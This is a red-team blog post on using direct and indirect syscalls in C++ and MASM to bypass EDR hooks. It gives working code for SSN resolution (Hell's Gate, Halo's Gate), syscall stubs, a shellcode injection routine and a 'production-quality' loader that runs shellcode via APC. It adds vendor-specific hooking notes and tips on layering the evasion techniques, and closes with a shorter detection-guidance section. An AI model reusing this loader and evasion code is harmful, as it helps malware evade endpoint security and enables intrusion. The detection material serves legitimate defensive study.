Back to Blog
Vulnerability Research

Implementing Direct Syscalls in C++ for EDR Evasion

OffSec Research Team
10 June 2026 • 09:00 AM13 min
Implementing Direct Syscalls in C++ for EDR Evasion
TL;DR — EDRs gain visibility into sensitive API calls by hooking user-mode stubs in ntdll.dll. Direct syscalls bypass those hooks by executing the kernel transition instruction (syscall) from attacker-controlled code, skipping the hooked stubs entirely. This article covers the Windows x64 syscall convention, Syscall Service Number (SSN) resolution strategies (Hell's Gate, Halo's Gate, SysWhispers3), implementing stubs in C++ and MASM, the evolution to indirect syscalls, the call stack artefacts each variant leaves, kernel-side detection surfaces that survive all user-mode bypass, and practical guidance for red teamers building custom loaders.

Executive Summary

The Windows NT kernel exposes functionality to user-mode code through system calls — a CPU-level mechanism for transitioning from ring 3 (user mode) to ring 0 (kernel mode). User-mode applications call these indirectly through a chain of wrappers: Win32 API → kernel32.dll → ntdll.dll → syscall instruction → kernel. The ntdll.dll stubs are the last user-mode link in this chain — thin wrappers that load a syscall number into EAX and execute the syscall instruction.

EDRs install their visibility by hooking these stubs — patching the first 5–12 bytes with a JMP to the EDR's inspection routine. Every sensitive API call (memory allocation, thread creation, process injection, credential access) detours through the EDR before reaching the kernel. Direct syscalls break this model by emitting the syscall instruction from the caller's own code, bypassing the hooked stub layer entirely.

This technique has been well-understood in the offensive security community since 2019 (SysWhispers 1.0 by jthuraisamy) and is now a standard component of mature red team toolkits. Its value lies not in obscurity but in architectural necessity: hooking-based EDR visibility is fundamentally a user-mode construct, and direct syscalls are the user-mode way to route around it.

Windows x64 Syscall Calling Convention

On x64 Windows, a native syscall follows these steps:

- The processor saves RIP (return address) to RCX - The processor saves RFLAGS to R11 - The processor transitions to ring 0 - The kernel dispatches via the System Service Descriptor Table (SSDT) at index EAX

  • The calling code places the Syscall Service Number (SSN) into EAX
  • The first argument is moved from RCX to R10 (the kernel requires this — RCX is modified by the syscall instruction itself to save the return address)
  • Arguments 2–4 are in RDX, R8, R9; arguments 5+ are on the stack
  • The syscall instruction fires, causing:
asm
; Clean NtAllocateVirtualMemory stub (Windows 10 21H2, x64)4C 8B D1         mov  r10, rcx          ; arg1 (ProcessHandle) → r10B8 18 00 00 00   mov  eax, 0x18         ; SSN = 0x180F 05            syscall                ; kernel transitionC3               ret

The SSN 0x18 is build-specific. It changes between Windows versions and service packs. This variability is the fundamental engineering challenge of direct syscalls.

Syscall Service Number Resolution

Strategy A — Hardcoded SSN Tables

The simplest approach: compile a table of SSNs for every target Windows build, keyed by version + build number, and select the correct entry at runtime.

c
// Hardcoded SSN table (excerpt)typedef struct { DWORD build; DWORD ssn_NtAllocateVirtualMemory; } SSN_ENTRY; SSN_ENTRY ssn_table[] = {    { 19041, 0x18 },  // Windows 10 2004    { 19042, 0x18 },  // Windows 10 20H2    { 22000, 0x18 },  // Windows 11 21H2    { 22621, 0x18 },  // Windows 11 22H2    // ...}; DWORD build = GetWindowsBuildNumber();for (int i = 0; i < ARRAYSIZE(ssn_table); i++) {    if (ssn_table[i].build == build) return ssn_table[i].ssn_NtAllocateVirtualMemory;}

Limitation: Fragile. A single out-of-table build returns the wrong SSN and either crashes the process or calls the wrong kernel function. Requires constant maintenance as new builds ship.

Strategy B — Hell's Gate (Runtime Parse from In-Memory Stub)

Hell's Gate (by am0nsec / RtlMateusz, 2020) reads the SSN directly from the in-memory ntdll.dll stub at runtime. The clean stub always has the form 4C 8B D1 B8 <SSN> 0F 05 C3, so the SSN is at offset +4 from the function base.

cpp
DWORD GetSsnFromStub(LPCSTR funcName) {    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");    if (!hNtdll) return 0;        BYTE* stub = (BYTE*)GetProcAddress(hNtdll, funcName);    if (!stub) return 0;        // Verify unhooked pattern: 4C 8B D1 B8 <4-byte SSN> 0F 05 C3    if (stub[0] == 0x4C && stub[1] == 0x8B && stub[2] == 0xD1 && stub[3] == 0xB8) {        return *(DWORD*)(stub + 4);  // extract little-endian SSN    }        // Stub is hooked — first bytes are FF 25 (JMP [rip+0]) or similar    return 0;  // resolver fails for hooked functions}

Critical limitation: If the EDR has already hooked the stub (first bytes are FF 25 ... or E9 ...), Hell's Gate returns 0 and the resolution fails. This is a significant problem in production environments where EDRs hook exactly the sensitive functions the attacker wants to call directly.

Strategy C — Halo's Gate (Neighbour SSN Inference)

Halo's Gate (by Alice Climent-Pommeret, 2021) extends Hell's Gate with a fallback: if the target stub is hooked, walk to an adjacent syscall in the export table and infer the target SSN from the neighbour's SSN plus/minus the ordinal distance.

The key insight: Windows assigns SSNs in the same order as the sorted export table. Functions adjacent in the export table have sequential SSNs. If NtAllocateVirtualMemory is at ordinal N and NtAllocateVirtualMemoryEx is at ordinal N+1, then SSN(NtAllocateVirtualMemoryEx) = SSN(NtAllocateVirtualMemory) + 1.

diagram — rendering…
flowchart TD
    A["Resolve NtAllocateVirtualMemory SSN"] --> B{"Stub bytes 4C 8B D1 B8?"}
    B -->|Clean — extract directly| C["Return *(DWORD*)(stub + 4)"]
    B -->|Hooked — walk neighbours| D["Enumerate adjacent exports by ordinal"]
    D --> E["Find nearest UNHOOKED stub above or below target"]
    E --> F["delta = target_ordinal - neighbour_ordinal"]
    F --> G["target_SSN = neighbour_SSN + delta"]
    style C fill:#0c2a22,stroke:#21d48e,color:#d1fae5
    style G fill:#0c2a22,stroke:#21d48e,color:#d1fae5

Implementation requires parsing the PE export table directly (walking IMAGE_EXPORT_DIRECTORY) to enumerate functions in ordinal order, then scanning upward and downward from the target for the first unhooked stub.

Strategy D — SysWhispers3 / TartarusGate / RecycledGate

These open-source frameworks automate SSN resolution and stub generation:

  • SysWhispers3 (jthuraisamy): Generates Visual Studio–compatible C++ + MASM files that include SSN resolution at runtime using multiple strategies
  • TartarusGate (trickster0): Combines Halo's Gate with additional robustness for deeply hooked environments
  • RecycledGate (ElephantSe4l): Uses the .pdata section to locate stub addresses more robustly than export table parsing

Implementing a Direct Syscall Stub in MASM

The cleanest implementation emits the syscall instruction inside a proper MASM assembly file that compiles into the caller's .text section:

asm
; syscalls.asm — MASM for MSVC x64 (ml64.exe).dataextern g_ssn_NtAllocateVirtualMemory:DWORDextern g_ssn_NtCreateThreadEx:DWORD .code ; NtAllocateVirtualMemory direct syscall; Signature: NTSTATUS NtAllocateVirtualMemory(HANDLE, PVOID*, ULONG_PTR,;                                               PSIZE_T, ULONG, ULONG)NtAllocateVirtualMemory PROC    mov  r10, rcx    mov  eax, dword ptr [g_ssn_NtAllocateVirtualMemory]    syscall    retNtAllocateVirtualMemory ENDP ; NtCreateThreadEx direct syscallNtCreateThreadEx PROC    mov  r10, rcx    mov  eax, dword ptr [g_ssn_NtCreateThreadEx]    syscall    retNtCreateThreadEx ENDP END

In the C++ code, declare the prototypes and populate the SSN globals at startup:

cpp
// syscalls.hextern "C" NTSTATUS NtAllocateVirtualMemory(HANDLE ProcessHandle,    PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize,    ULONG AllocationType, ULONG Protect); extern "C" DWORD g_ssn_NtAllocateVirtualMemory; // loader.cppvoid InitSyscalls() {    g_ssn_NtAllocateVirtualMemory = GetSsnFromStub("NtAllocateVirtualMemory");    // or use Halo's Gate for hooked environments} void InjectShellcode(HANDLE hProcess, BYTE* shellcode, SIZE_T shellcodeLen) {    PVOID base = NULL;    SIZE_T size = shellcodeLen;        // Direct syscall — bypasses all user-mode hooks    NTSTATUS status = NtAllocateVirtualMemory(hProcess, &base, 0, &size,                                               MEM_COMMIT | MEM_RESERVE,                                               PAGE_EXECUTE_READWRITE);}

Indirect Syscalls: Eliminating the Unbacked syscall Origin

Direct syscall stubs in .text of the caller's module execute syscall from within a legitimate module — but a module with no matching ntdll import. A more subtle artefact is the return address after syscall points back into the caller's module, not into ntdll. EDR call stack walkers can detect this pattern.

Indirect syscalls resolve this by jumping to the syscall instruction inside an unhooked ntdll stub after setting EAX:

asm
; Indirect syscall stubindirect_NtAllocateVirtualMemory PROC    mov  r10, rcx    mov  eax, dword ptr [g_ssn_NtAllocateVirtualMemory]    jmp  qword ptr [g_gadget_NtAllocateVirtualMemory]  ; jump to "syscall; ret" inside ntdllindirect_NtAllocateVirtualMemory ENDP

The g_gadget_NtAllocateVirtualMemory points to the syscall; ret sequence at offset +8 inside an unhooked ntdll stub. The syscall instruction now executes from within ntdll's address range:

shell
Call stack during indirect syscall:ntdll!NtAllocateVirtualMemory+0x8  ← syscall fires from ntdll (looks normal)[caller .text + offset]             ← return after syscall

This is the current state-of-the-art. The call stack shows the syscall originating in ntdll, which is exactly what a clean, unhooked call path would show.

Call Stack Artefacts by Variant

Variantsyscall executes fromRSP return addressDetectability
Hardcoded stub in shellcodeAnonymous RWX regionUnbacked — immediate flagVery High
MASM stub in caller .textCaller's module .textLegitimate module — subtleMedium
Indirect via ntdll gadgetntdll.dll .textntdll — normal appearanceLow

What Direct Syscalls Cannot Evade

Direct syscalls bypass user-mode hook visibility exclusively. The kernel retains full visibility through:

diagram — rendering…
flowchart LR
    A["Kernel Detection Surfaces"] --> B["PsSetCreateProcessNotifyRoutine<br/>(process creation callbacks)"]
    A --> C["PsSetCreateThreadNotifyRoutine<br/>(thread creation, even via NtCreateThreadEx direct syscall)"]
    A --> D["ObRegisterCallbacks<br/>(handle access auditing)"]
    A --> E["ETW Threat Intelligence provider<br/>(fires in kernel for sensitive syscalls)"]
    A --> F["NtNotifyChangeKey / registry callbacks<br/>(registry operation auditing)"]
    style A fill:#2a0c14,stroke:#ef233c,color:#fee2e2

A direct NtCreateThreadEx syscall bypasses the EDR's NtCreateThreadEx user-mode hook but does not bypass the kernel-mode PsSetCreateThreadNotifyRoutine callback the same EDR registered. The observable telemetry set shifts — the user-mode API call trace disappears — but kernel-mode event generation continues.

This is the fundamental design property that prevents direct syscalls from achieving complete EDR bypass: the relevant kernel callbacks fire at the system-call dispatch layer, before the hook would have intercepted the call and independent of whether the hook was ever reached.

Practical Red Team Workflow

For a realistic offensive engagement:

  • Enumerate target EDR product. Different EDRs hook different functions. CrowdStrike Falcon tends to hook NtAllocateVirtualMemory, NtCreateThreadEx, NtWriteVirtualMemory. SentinelOne hooks NtOpenProcess, NtReadVirtualMemory.
  • Select resolution strategy. In a fully hooked environment, use Halo's Gate or SysWhispers3 with randomise-syscall-instruction enabled (embeds syscall as a random junk sequence that decodes at runtime).
  • Use indirect syscalls for the final implementation. Even if your module is legitimate, the cleaner call stack provided by indirect syscalls provides additional durability against future detection improvements.
  • Do not depend solely on syscall bypass. Combine with call stack spoofing (post #35) and sleep obfuscation (post #34) for a complete evasion stack. Syscall bypass addresses user-mode hook visibility; the other techniques address memory scanning and call stack telemetry.

Detection Guidance

diagram — rendering…
flowchart TD
    A["Direct Syscall Detection"] --> B["Memory: unbacked regions containing syscall instruction<br/>(anonymous RWX with 0x0F 0x05 bytes)"]
    A --> C["Call stack: syscall-class operation with return address<br/>outside ntdll — points to caller module or anonymous region"]
    A --> D["Kernel callbacks fire without corresponding<br/>user-mode hook telemetry (gap analysis)"]
    A --> E["Import table: process calls ntdll functions without<br/>corresponding IAT entries (import-free loader)"]
    A --> F["ETW: NtProtectVirtualMemory changes permission<br/>on ntdll .text before Hell's Gate call"]
    style A fill:#0c2a22,stroke:#21d48e,color:#d1fae5

Tools that implement these checks:

  • Hunt-Sleeping-Beacons: call stack analysis for sleeping implant threads
  • SysmonX: enhanced Sysmon fork with direct syscall detection rules
  • Custom ETW consumer: subscribe to Microsoft-Windows-Threat-Intelligence and correlate with missing hook telemetry

Combining Syscall Bypass with Other EDR Evasion Techniques

Direct syscalls are rarely deployed in isolation. A complete loader that relies solely on syscall bypass will still be detected via memory scanning (the plaintext shellcode in the VirtualAlloc'd buffer), call stack telemetry (even indirect syscalls leave a subtle footprint), and process behaviour analysis (the allocation + write + execute sequence is still visible at the kernel level). The modern approach layers multiple techniques:

diagram — rendering…
flowchart TD
    A["Complete EDR Bypass Stack"] --> B["Syscall Bypass<br/>(evade user-mode hooks)"]
    A --> C["Sleep Obfuscation<br/>(evade memory scanning during idle)"]
    A --> D["Call Stack Spoofing<br/>(evade call stack telemetry)"]
    A --> E["Process Injection Method<br/>(inject into legitimate process — cover noise)"]
    A --> F["C2 Profile Customization<br/>(evade network monitoring)"]
    B --> G["Combined: Significantly raises EDR detection cost<br/>No single technique works alone"]
    C --> G
    D --> G
    E --> G
    F --> G
    style G fill:#0c2a22,stroke:#21d48e,color:#d1fae5

Practical Loader Architecture Using Indirect Syscalls

A production-quality loader that uses indirect syscalls for all sensitive operations:

cpp
// Loader initialization sequencevoid InitializeLoader() {    // 1. Resolve SSNs using Halo's Gate    InitSyscalls();        // 2. Use indirect NtAllocateVirtualMemory to get RW memory    PVOID shellcodeBase = NULL;    SIZE_T regionSize = sizeof(g_shellcode);    NTSTATUS status = indirect_NtAllocateVirtualMemory(        NtCurrentProcess(), &shellcodeBase, 0, &regionSize,        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);  // RW first — less suspicious        // 3. Write shellcode    SIZE_T bytesWritten;    indirect_NtWriteVirtualMemory(        NtCurrentProcess(), shellcodeBase, g_shellcode, sizeof(g_shellcode), &bytesWritten);        // 4. Change permissions to RX (not RWX — RX is much less suspicious)    ULONG oldProtect;    indirect_NtProtectVirtualMemory(        NtCurrentProcess(), &shellcodeBase, &regionSize, PAGE_EXECUTE_READ, &oldProtect);        // 5. Queue to existing thread pool (no new thread creation)    QueueUserAPC((PAPCFUNC)shellcodeBase, GetCurrentThread(), 0);    SleepEx(0, TRUE);}

Note the RW→RX sequence: allocating PAGE_READWRITE for the write phase and then changing to PAGE_EXECUTE_READ (not PAGE_EXECUTE_READWRITE) is significantly less suspicious than allocating RWX directly. Most legitimate applications never allocate RWX memory; the RW→RX pattern is less common but still occurs in JIT compilers.

Tool Reference for Red Teams

ToolPurposeSSN Method
SysWhispers1Original syscall generatorHardcoded SSN table
SysWhispers2Improved, no SSN table requiredRuntime Hell's Gate
SysWhispers3Full-featured, indirect + scrambledHalo's Gate + indirect
RecycledGate.pdata-based stub locationRobust alternative
TartarusGateDeep-hook environment supportHalo's Gate extended
FreshyCallsSort-based SSN resolutionAlphabetical sort method
ShellycoatIntegration layer for BOF authorsPluggable

Operational Considerations: When Not to Use Direct Syscalls

Direct syscalls are not always the right tool. Situations where they may add unnecessary complexity:

  • Low-security targets: Many corporate environments do not deploy mature EDR products. Introducing direct syscall complexity in a target environment using basic AV is over-engineering.
  • Memory scanning is the primary threat: If the target environment runs aggressive memory scanners but weak hook-based detection, sleep obfuscation (post #34) provides more direct benefit.
  • Initial access phases: During initial access, the implant often runs in an untrusted, sandboxed context. Direct syscalls reduce hook-based detection but may not help against sandbox behaviour analysis.
  • Kernel-mode protections dominate: On environments with HVCI and Credential Guard enabled, kernel-mode protections are the primary defence. Syscall bypass addresses user-mode hooks, not kernel-mode controls.

Reserve direct syscalls for post-exploitation phases in mature EDR environments where hook-based detection is a confirmed threat.

Conclusion

Direct and indirect syscalls represent a well-understood class of EDR user-mode bypass that any serious red team operator must understand and any mature blue team must have detection coverage for. The technique's power lies in its architectural simplicity: it bypasses hooks by going around them, not through them. Its limitation is equally architectural: the kernel visibility layer operates below the bypass and cannot be affected by user-mode code. Building detection that does not rely on user-mode hook telemetry — instrumenting through ETW, kernel callbacks, and call stack validation — ensures that a successful syscall bypass becomes a detectable anomaly (gap between expected and observed telemetry) rather than a surveillance gap. Organisations that deploy layered EDR telemetry from both user mode and kernel mode make direct syscalls a component of a detectable attack pattern rather than an undetectable magic capability.